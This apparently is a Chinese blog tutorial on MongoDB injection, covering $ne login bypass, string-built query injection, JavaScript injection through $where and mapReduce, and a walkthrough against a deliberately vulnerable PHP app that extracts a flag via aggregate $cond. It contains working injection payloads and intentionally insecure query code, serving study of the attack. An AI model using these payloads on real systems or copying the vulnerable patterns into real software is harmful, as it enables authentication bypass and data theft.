nosql

Mogodb数据库

MySQL 中,我们所熟知的几个最常见的概念是数据库 (Database)、表 (Table)、字段 (Column)、记录 (Record)、索引 (Index),这些术语映射到 MongoDB 中大概等价于数据库 (Database)、集合 (Collection)、域 (Field)、文档 (Document)、索引 (Index)。一些基本操作可以看文档

经典注入方式

永真注入

利用的原理类似于万能密码,使查询的判定结果永远为true

例如当为如下查询语句时,当get传参为?username[$ne]=1&password[$ne]=1则传入mogodb后成为了一个条件查询。即为查询username和password不等于1的数据,当然这只是一个简单的例子,这里也可以用其他的条件操作符。

在这里插入图片描述

1
2
3
4
5
6
7
# 查询语句
$query = new MongoDB\Driver\Query(array(
'uname' => $_GET['username'],
'pwd' => $_GET['password']
));
# 执行语句
$result = $manager->executeQuery('test.users', $query)->toArray();

联合查询

我们都知道在 SQL 时代拼接字符串容易造成 SQL 注入,NoSQL 也有类似问题,但是现在无论是 PHP 的 MongoDB driver 还是 node.js 的 mongoose 都必须要求查询条件必须是一个数组或者 query 对象了,因此简单看一下就好。

1
string query ="{ username: '" + $username + "', password: '" + $password + "' }"  #查询语句

这里构造payload

1
username=admin',{$or:[{},{'a':'a&password='}]

这样最终的查询语句就变为

1
2
{ username: 'admin',{$or:[{},{'a':'a', password: ''}] }
在后端中即为:{ username: 'admin', $or: [ {}, {'a':'a', password:''}]}

JavaScript 注入

我们知道 MongDB Server 是支持 JavaScript 语言的,这样给开发人员带来了很多非常方便的使用方法,但也是因为它本身的灵活性,造成了 JavaScript 注入。这里有个例子是一个祥云杯的一个题,那个是用node.js实现的一个mongodb查询,当时是可以使用nodejs报错机制来将密码带出来。

查询语句如下

1
let docs = await User.$where(`this.username == "admin" && hex_md5(this.password) == "${token.toString()}"`).exec()

这里可以使用如下payload进行报错。

1
token=aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"||(()=>{throw Error(this.password)})()=="admin
$where 操作符

在 MongoDB 中 $where 操作符是可以执行 JavaScript 语句的,在 MongoDB 2.4 之前,通过 $where 操作符使用map-reducegroup命令可以访问到 mongo shell 中的全局函数和属性。

1
2
3
4
5
$function = "function() {if(this.uname == '$uname' && this.pwd == '$pwd') return {'username': this.uname, 'password': this.pwd}}";
$query = new MongoDB\Driver\Query(array(
'$where' => $function
));
$result = $manager->executeQuery('test.users', $query)->toArray();

MongoDB<2.4之前可以访问到全局属性

1
?username='||1) return {'username': tojson(db.getCollectionNames()), 'password': 'hacked'}}//&password=1

这里也存在nosql的万能密码

1
2
?username='||'1&pwd=1
?username=1&pwd=admin'||''='

mapReduce

看一下官方文档给的例子

在这里插入图片描述

Map 函数和 Reduce 函数可以使用 JavaScript 来实现,使得 MapReduce 的使用非常灵活和强大。但是同样也带来了隐患,假设有这样的一个业务场景,数据库中存储了一个store集合,有一系列商品的名称、价格和数量,我们想得到相同商品的价格或者数量的总和,代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
require_once __DIR__ . "/vendor/autoload.php";
$param = $_POST['param'];
$collection = (new MongoDB\Client)->test->stores;
$map = "function() {
for (var i = 0; i < this.items.length; i++) {
emit(this.name, this.items[i].$param); }
}";
$reduce = "function(name, sum) { return Array.sum(sum); }";
$opt = "{ out: 'totals' }";
$results = $collection->mapReduce($map, $reduce, $out);

这里map中emit第一个参数为需要分组的字段名,第二个参数为需要进行统计的字段名
reduce函数参数function reduce(key, values){ // 统计字段处理 }
key: 指分组字段(emit的param1)对应的值;
values:指需要统计的字段(emit的param2)值组成的数组。

该代码应该在$param给定的字段上求和,但是这同样给了攻击者可乘之机,如果$param是这样:

1
2
3
a);}},function(kv) { return 1; }, { out: ‘x’ });
db.injection.insert({success:1}); return 1;
db.stores.mapReduce(function() { { emit(1,1

那么在 MongoDB 中就相当于执行了下面这条语句:

1
2
3
4
5
6
7
8
9
10
db.stores.mapReduce(function() {
for (var i=0; i < this.items.length; i++) {
emit(this.name, this.items[i].a);
}
},
function(kv) { return 1; }, { out: 'x' });
db.injection.insert({success:1}); return 1;
db.stores.mapReduce(function() { { emit(1,1); } },
function(name, sum) {
return Array.sum(sum); }, { out: 'totals' });"

盲注

和sql盲注区别不大

操作实例

源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
<?php
require_once __DIR__ . "/vendor/autoload.php";
function auth($username, $password) {
$collection = (new MongoDB\Client('mongodb://localhost:27017/'))->test->users;
$raw_query = '{"username": "'.$username.'", "password": "'.$password.'"}';
$document = $collection->findOne(json_decode($raw_query));
if (isset($document) && isset($document->password)) {
return true;
}
return false;
}
$user = false;
if (isset($_COOKIE['username']) && isset($_COOKIE['password'])) {
$user = auth($_COOKIE['username'], $_COOKIE['password']);
}
if (isset($_POST['username']) && isset($_POST['password'])) {
$user = auth($_POST['username'], $_POST['password']);
if ($user) {
setcookie('username', $_POST['username']);
setcookie('password', $_POST['password']);
}
}
?>
<?php if ($user == true): ?>
Welcome!
<div>
Group most common news by
<a href="?filter=$category">category</a> |
<a href="?filter=$public">publicity</a><br>
</div>
<?php
$filter = $_GET['filter'];
$collection = (new MongoDB\Client('mongodb://localhost:27017/'))->test->news;
$pipeline = [
['$group' => ['_id' => '$category', 'count' => ['$sum' => 1]]],
['$sort' => ['count' => -1]],
['$limit' => 5],
];
$filters = [
['$project' => ['category' => $filter]]
];
$cursor = $collection->aggregate(array_merge($filters, $pipeline));
?>
<?php if (isset($filter)): ?>
<?php
foreach ($cursor as $category) {
printf("%s has %d news<br>", $category['_id'], $category['count']);
}
?>
<?php endif; ?>
<?php else: ?>
<?php if (isset($_POST['username']) && isset($_POST['password'])): ?>
Invalid username or password
<?php endif; ?>
<form action='/' method="POST">
<input type="text" name="username">
<input type="password" name="password">
<input type="submit">
</form>
<h2>News</h2>
<?php
$collection = (new MongoDB\Client('mongodb://localhost:27017/'))->test->news;
$cursor = $collection->find(['public' => 1]);
foreach ($cursor as $news) {
printf("%s<br>", $news['title']);
}
?>
<?php endif; ?>

这里第一步永真绕过,payload为。文章中用得"$ne"=null但我本地不对可能是php版本得问题

1
http://127.0.0.1/mongo/test_mongo.php?username=1&password=","password":{"$ne":null}, "username":"admin

输出为

在这里插入图片描述

第二步漏洞在aggregate方法

filter 参数里可以填 category展示目录 text展示内容 title展示标题,但是都限制了5条。

代码里是用的 MongoDB 聚合函数aggregate,下面这张图也是来自官方文档,解释了aggregate函数的执行过程:

在这里插入图片描述

使用aggregate聚合函数时,在里面是可以使用条件判断语句的。在 MongoDB 中$cond表示if判断语句,匹配的符号使用$eq,连起来为[$cond][if][$eq],当使用多个判断条件时重复该语句即可。

官方文档列出的$cond的用法: $project可以指定输出需要查询字段

1
2
3
4
5
6
7
8
9
10
11
12
13
14
db.inventory.aggregate(
[
{
$project:
{
item: 1,
discount:
{
$cond: { if: { $gte: [ "$qty", 250 ] }, then: 30, else: 20 }
}
}
}
]
)

现在我们的目的是:如果$category的值是 flag,那么就输出$title的内容,否则还是原样输出$catagory,照着上面的例子写成 MongoDB shell 的形式就是

1
2
3
4
5
6
7
8
9
10
11
12
13
db.news.aggregate(
[
{
$project:
{
category:
{
$cond: { if: { $eq: [ "$category", "flags" ] }, then: $title, else: $category }
}
}
}
]
)

转换成 PHP 数组形式传入 filter 参数:

1
?filter[$cond][if][$eq][]=flags&filter[$cond][if][$eq][]=$category&filter[$cond][then]=$title&filter[$cond][else]=$category

转换成raw_query的形式:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
{
"category":
{
"$cond":
{
"if":
{
"$eq": [ "$category", "flags" ]
},
"then": "$title",
"else": "$category"
}
}
}

var_dump(json_decode(raw_query))即为:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
object(stdClass)#4 (1) {
["category"]=>
object(stdClass)#3 (1) {
["$cond"]=>
object(stdClass)#2 (3) {
["if"]=>
object(stdClass)#1 (1) {
["$eq"]=>
array(2) {
[0]=>
string(9) "$category"
[1]=>
string(5) "flags"
}
}
["then"]=>
string(6) "$title"
["else"]=>
string(9) "$category"
}
}
}

参考

https://www.tr0y.wang/2019/04/21/MongoDB%E6%B3%A8%E5%85%A5%E6%8C%87%E5%8C%97/index.html

https://cloud.tencent.com/developer/article/1602092


本博客所有文章除特别声明外,均采用 CC BY-SA 4.0 协议 ,转载请注明出处!